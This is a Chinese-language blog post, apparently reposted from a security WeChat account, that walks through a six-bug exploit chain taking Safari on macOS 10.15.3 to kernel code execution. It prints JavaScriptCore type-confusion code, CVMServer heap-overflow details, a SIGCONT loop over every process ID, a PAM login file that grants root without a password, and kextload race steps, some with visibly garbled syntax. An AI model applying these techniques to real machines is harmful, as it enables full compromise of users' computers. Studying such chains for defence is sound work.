Macos 10.15.3 RCE

  • A+
所属分类:安全文章

首先,先刺激下某k开头的人,不帮我写文章我就用你之前写的,都一样~

、漏洞简介

Apple macOS 系统在10.15.3版本存在内核的异常利用,攻击者可以通过Safari的RCE等六个漏洞的利用导致macOS内核特权提升

二、影响范围

macOS 10.15.3且 Safari 版本为15608.5.11

三、复现过程

Macos 10.15.3 RCE

漏洞分析

苹果存在以下六个漏洞可以链接使用导致内核被破坏

一、通过错误的JavaScriptCore DFG编译器中“ in”运算符的副作用建模在Safari中远程执行代码

在JavaScriptCore中,当使用'in'运算符查询索引属性时,DFG编译器会假定它没有副作用,除非其原型链中没有代理对象可以拦截此操作。javaScriptCore 使用“MayHaveIndexedAccessors”的标志来标记可以拦截此索引属性访问的对象。已为代理对象显式标记此标志。但是,还有另一个可能引起副作用的对象:JSHTMLEmbedElement实现其自己的getOwnPropertySlot()方法。一种使用“ in”运算符触发JavaScript回调(即副作用)的方法是 将<embed>元素与PDF插件一起使用;当在 embed / object标记的DOM对象上查询任何属性时,它将尝试加载支持的插件,并且在PDF插件的情况下可以调用DOMSubtreeModified事件处理程序,因为它在body元素上使用appendChild方法。

堆栈跟踪
  #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb)
  #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7)
  #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48)
  #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4)
  #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224)
  #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c)
  #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85)
  #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912)
  #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e)
  #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807)
  #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7)
  #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595)
  #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681)
  #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d)
  #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77)
  #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26)
  #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca)
  #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023)
  #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913)
  #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)

由于原型链中的任何对象均未标记为 “ MayHaveIndexedAccessors”,因此JIT假定对“ in”运算符的这种使用不会 在内部进行任何转换,从而消除了 转换后的数组类型检查。

// In the frame of <iframe src="...pdf"></iframe>

function opt(arr) {
arr[0] = 1.1;
100 in arr; // arr中不存在100,因此检查__proto__
return arr[0]
}

for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')

document.body.addEventListener('DOMSubtreeModified', () => {
arr[0] = {}
})

document.body.removeChild(embed)
opt([1.1]) //将{}的地址泄漏为双精度值

通过由此构造addrof / fakeobj源码,我们可以使任意 RW原语都可以使用JIT编译的JavaScript函数执行代码。

利用

获取addrof / fakeobj源码后,我们 通过伪造对象将其转换为更稳定的addrof / fakeobj源码

hostObj = {
                                                           // hostObj.structureId
                                                           // hostObj.butterfly
   _1.1,                                                 // dummy
   length: (new Int64('0x4141414141414141')).asDouble(),
                                                           // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
   id: (new Int64('0x0108191700000000')).asJSValue(),
   butterflynull,
   o: {},
   executable:{
     a:1b:2c:3d:4e:5f:6g:7h:8i:9,          // 填充偏移量(offset: 0x58)
     unlinkedExecutable:{
       isBuiltinFunction1 << 31,
       a:0b:0c:0d:0e:0f:0,                       // 填充偏移量 (offset: 0x48)
       identifiernull
    }
  },
                                                           // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40)
   strlen_or_id: (new Int64('0x10')).asDouble(),           // String.size
   targethostObj                                         // String.data_ptr
}

hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier
Function.prototype.toString(fakeHostObj// function [leaked-structure-id]() { [native code] }

我们通过使伪造的函数对象 fakeHostObj并在其上调用Function.prototype.toString来 泄漏hostObj的结构ID 。函数名称将结构id值反映为UTF-16字符串。泄漏结构ID后,我们将替换hostObj。(思路来源:Yong Wang的Blackhat EU 2019 演讲

hostObj = {
                                                          // hostObj.structureId
                                                          // hostObj.butterfly
  _: 1.1,                                                 // dummy
  length: (new Int64('0x4141414141414141')).asDouble(),
                                                          // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
  id: leakStructureId.asDouble(),                         // fakeHostObj.structureId
  butterfly: fakeHostObj,                                 // fakeHostObj.butterfly
  o: {},
  ...
}

现在我们有了fakeHostObj的butterfly point(蝶形指针?)(小K水平有限无法解释这个点,欢迎发[email protected]指正),指向fakeHostObj本身。我们可以使用 addrof / fakeobj源码,而无需再次触发该错误,因此我们可以使用 JSValue或使用fakeHostObj 将其作为double来访问hostObj.o。

使用AttackObj的泄漏结构ID和addrof / fakeobj原语,我们可以 、像下面那样制作对象。

rwObj = {
                                                          // rwObj.structureId
                                                          // rwObj.butterfly
  _: 1.1,                                                 // dummy
  length: (new Int64('0x4141414141414141')).asDouble(),
                                                          // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20)
  id: leakStructureId.asDouble(),                         // fakeRwObj.structureId
  butterfly: fakeRwObj,                                   // fakeRwObj.butterfly

  __: 1.1,                                               // dummy
  innerLength: (new Int64('0x4141414141414141')).asDouble(),
                                                          // fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
  innerId: leakStructureId.asDouble(),                   // fakeInnerObj.structureId
  innerButterfly: fakeInnerObj,                           // fakeInnerObj.butterfly

}

我们可以使用fakeRwObj获取任意RW原码替换fakeInnerObj的butterfly point并从fakeInnerObj中读取/写入。为了从任意RW原码获取RCE,我们触发了伪函数的JIT编译,泄漏了代码地址,并用我们的shellcode覆盖了它。有时,代码地址泄漏失败是因为我们无法从假数组中读取/写入某些值。在这种情况下,我们尝试通过从指针位置+1读取并移动读取值来近似它。最后,我们将Alert函数的代码指针覆盖到我们的伪函数代码指针,并调用它(带有一些参数)以执行Shellcode。

二、通过didFailProvisionalLoad() 中的符号链接在Safari中启动任意.app

对于file://URL,Safari使用[NSWorkspace selectFile:inFileViewerRootedAtPath:]打开Finder窗口。该函数接受两个参数,并且在大多数情况下,Safari仅使用第一个参数,该参数显示指定文件的包含文件夹。但是,如果改为使用第二个参数,则Finder将启动该文件(如果该文件是可执行文件或应用程序捆绑包)。

在确认指向的路径不是带有.app后缀的应用程序捆绑包--目录之后,Safari使用第二个参数。由于符号链接可以指向应用程序捆绑包,但这不是带有.app后缀的目录。因此,Safari将启动符号链接所指向的应用程序。可以通过发送didFailProvisionalLoad() IPC消息来触发此代码路径。

但是,由于 Seatbelt沙箱的系统调用筛选器,Safari本身无法创建符号链接。因此,我们使用了另一个漏洞,该漏洞提供了root权限的沙盒执行的代码。

三、通过堆溢出在CVM(核心虚拟机)服务中任意执行代码

macOS有一个名为com.apple.cvmsServ的沙盒XPC服务(即CVMServer), 可为各种体系结构编译着色器。它是内置 OpenGL框架的一部分。

对于“消息”字段设置为4的请求,CVMServer解析用户指定的 “框架数据”和“地图”。“地图”数据文件位于 “ /System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps”中,用户指定的第一个%s没有任何过滤器。这样就可以遍历目录了;我们可以使其解析在Safari的沙箱中创建的文件。

  FILE *fp = fopen(&framework_name_"r");
  ...
   Header *header = malloc(0x50);
   fread(header0x501v132);
  ...
   items_offset = header->items_offset;
   items_count = header->items_count;
   header = realloc(header56 * items_count + items_offset);
   fread(&header->char50items_offset + 56 * items_count - 0x501v132);

如果为item_count * 56 + items_offset <= 0x50,则fread()将 在2 ^ 64附近 接收下溢长度,因此它将成为具有任意长度有效负载的堆溢出。请注意,到达指定文件的末尾时,fread()停止。

通过利用这一点,我们可以覆盖与连接有关的堆对象, 这可以修改下面提到的指针:

case 7// "message" == 7
   v34 = xpc_dictionary_get_uint64(input"heap_index");
   v11 = cvmsServerServiceGetMemory(a1a->sessionv34&port&size);
   if ( v11 )
       goto error;
   xpc_dictionary_set_mach_send(reply"vm_port"port);

__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1unsigned __int64 index_DWORD *port_QWORD *a4)
{
 Pool *pool// rax
 unsigned int v7// ebx
 heapitem *v8// rax

 pthread_mutex_lock((&server_globals + 2));
 // a1->attachedService is controlled value
 pool = a1->attachedService->context->pool_ptr;
 v7 = 521;
 if ( pool->pointersCount > index )
{
   v8 = pool->pointers;
   *port = v8[index].port;
   *a4 = v8[index].size;
   v7 = 0;
}
 pthread_mutex_unlock((&server_globals + 2));
 return v7;
}

如果“端口”值为0x103(TASK-SELF),则该服务将向客户端授予 CVMServer任务端口 的发送权,该任务端口可用于分配内存并在进程上执行任意代码。为了使v8 [index] .port == 0x103,我们在库区域中搜索了内存,这些内存在整个进程中具有相同的地址。

rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)

有很多区域具有两个64位整数值0,-1,并且对于rax + 0x38 和X + 0x30,我们发现_xpc_error_termination_imminent,它是公共 符号,可以满足此条件。由于长度大于2 ^ 64 / 0x10,我们 可以计算点的模逆Y(==0)*0x18+index+0x10 == &0x103

由于CVMServer设置了com.apple.security.cs.allow-jit,因此我们可以 使用MAP_JIT标志 调用mmap并调用反射加载程序以在进程上执行dylib文件。我们在CVMServer上运行了以下代码:

// In /var/db/CVMS (writable folder)

char randbuf[0x1000];
sprintf(randbuf, "%lu.app", clock());
symlink(randbuf, "my.app");

//在my.app中创建一个有效的应用程序

创建%lu.app和符号链接my.app之后,我们返回Safari并发送了IPC消息以打开该应用。但是还有另外两个保护措施:隔离检查和首次打开应用程序检查。

四、macOS首次应用程序保护绕过

如果Safari首次尝试执行应用,则如果文件具有名为com.apple.quarantine的属性或等待用户确认 ,则Safari将拒绝其执行。WebProcess创建的所有文件都具有--- com.apple.quarantine 属性,但是,由于我们在CVMServer进程而不是WebProcess中 创建了文件夹,因此我们已经可以绕开它。为了确认用户,macOS首先创建该过程,将其挂起,然后在用户单击Open按钮后继续该过程。但是发送SIGCONT信号与单击该按钮一样。

因此,在创建my.app之后,我们在CVMServer中连续运行以下代码:

for(int i = 0; i < 65536; i++)
  kill(i, SIGCONT);

注意:这里有个思路是如果apple 恶意程序可以执行第一次绕过可以使用此种方法去进行保护。

五、通过竞争条件导致的任意文件/文件夹权限修改,cfprefsd中的根特权升级

cfprefsd是另一个XPC服务,允许用户创建plist文件。它位于CoreFoundation,可以从大多数非沙箱的过程中获取。由于我们已经获得了普通用户(即 CVMServer)的非沙盒特权,因此如果目标文件夹和文件具有足够的权限位(允许客户端用户写入该文件 ),我们就可以请求它创建plist文件。但是,如果该文件夹不存在,它将以递归方式创建plist文件的文件夹。

这是从CVMServer创建文件夹的代码片段。

_CFPrefsCreatePreferencesDirectory(path) {
  for(slice in path.split("/")) {
      cur += slice
      if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) {
          chmod(cur, perm)
          chown(cur, client_id, client_group)
      } else break
  }
}

但是,如果路径指向用户可写目录,则用户可以替换所指向的目录cur,并将其替换为指向任意文件/文件夹的符号链接。由于cfprefsd具有root特权,因此可以更改 /etc/pam.d 之类的文件夹的所有者。通过更改/etc/pam.d的所有者,我们可以使用以下内容编写/etc/pam.d/login:

auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       required       pam_permit.so
account   required       pam_permit.so
account   required       pam_permit.so
password   required       pam_permit.so
session   required       pam_permit.so
session   required       pam_permit.so
session   optional       pam_permit.so

然后,该login root命令将为用户提供root shell,而无需任何身份验证。

六、在kextload中使用模块暂存旁路和竞争条件来升级内核特权

kextload是可以在macOS中执行kext(内核扩展)操作的程序之一。通过运行kextload [path of .kext folder],root用户可以 从用户模式加载签名的kext。为了防止未签名的或无效的已签名的kext,kextload在IOKitUser包中设置了“ authenticator”回调。不幸的是, kext 的路径是回调的唯一可用资源,因此很难避免竞争条件。为了减轻这种情况,kextload首先将kext文件夹复制到专用空间-/ Library / StagedExtensions中, 由于具有SIP和授权机制,即使具有root特权也无法对其进行修改。

kextload的工作原理如下。如果执行kextload /tmp/A.kext,则kextload 将原始kext文件夹复制到/Library/StagedExtensions/tmp/[UUID].kext。然后,kextload检查文件夹中所有文件的符号。如果失败,则删除文件夹。成功的话它将文件夹复制到 /Library/StagedExtensions/tmp/A.kext并加载此模块。

$ kextload /tmp/A.kext
  -> copy to /Library/StagedExtensions/tmp/[UUID].kext
  -> validate signatures. if failed, delete the directory
  -> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext
  -> load the kext

kextload中的一个问题是可以由root 特权用户终止此过程。值得注意的是,上述复制包括符号链接,稍后将对其进行验证。但是,如果 在验证之前取消kextload进程,则可以在/ Library / StagedExtensions中使用符号链接保留无效的kext 。

# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
  -> copy to /Library/StagedExtensions/tmp/[UUID].kext
  -> kill this process
  -> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained

此后,如果我们使用执行另一个kextload命令 kextload /tmp/[UUID].kext/symlink/B.kext,则B.kext将被复制到 root用户权限的可写位置(例如/tmp/[UUID'].kext)。

$ kextload /tmp/[UUID].kext/symlink/B.kext
  -> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext
  -> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.

复制后,kextload检查它是否位于安全位置,即 /Library/StagedExtensions/*。我们可以将符号链接临时放置在 /tmp/A.kext处,指向/ Library / StagedExtensions / [有效kext的路径]。验证之后,我们可以将模块二进制文件替换为未签名的内核模块,以执行内核代码。

为了使竞争条件可靠,我们使用sandbox-exec在具有指定后缀的文件访问时停止该程序。

七、下图放出完整利用链

Macos 10.15.3 RCE

U1S1,这个利用app也是利用无沙箱环境,倒是和前段时间的app中利用思路基本一致,所以可以在以后多留意无沙箱环境 说不定会有意外惊喜


BY THE WAY

重点的事情

---------

文库的一个版本我公开的Github,Gitee上去了,后续我慢慢补齐哈!


Macos 10.15.3 RCE

https://gitee.com/ZeroSec/zero-group-library

Macos 10.15.3 RCE

https://github.com/0-sec


Macos 10.15.3 RCE

https://github.com/0-Xyao/zerowiki

欢迎大家点个star!


ONE MORE THING

懂这个梗的应该会不少人吧,这才是重点

-----------   

     第一件事情,是我们希望做一个只谈论技术的免费的小圈子,怎么说呢?更加注重干货的分享,更直白面向技术面,当然也是免费的咯。但是我们会对这个圈子做一点稍微严格的准入控制和群内管理,杜绝吹水。这一点希望得到大家的反馈和指导。大家可以留言或者直接找我或者kr0n0s等交流看法。我们希望得到大家的的意见和指教。

   另外,乐神牌蜂蜜,支持支持啦~~~重点人家也是帮媳妇卖,我呢,帮帮兄弟水水广告。

Macos 10.15.3 RCE


----------

本文始发于微信公众号(零组攻防实验室):Macos 10.15.3 RCE

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: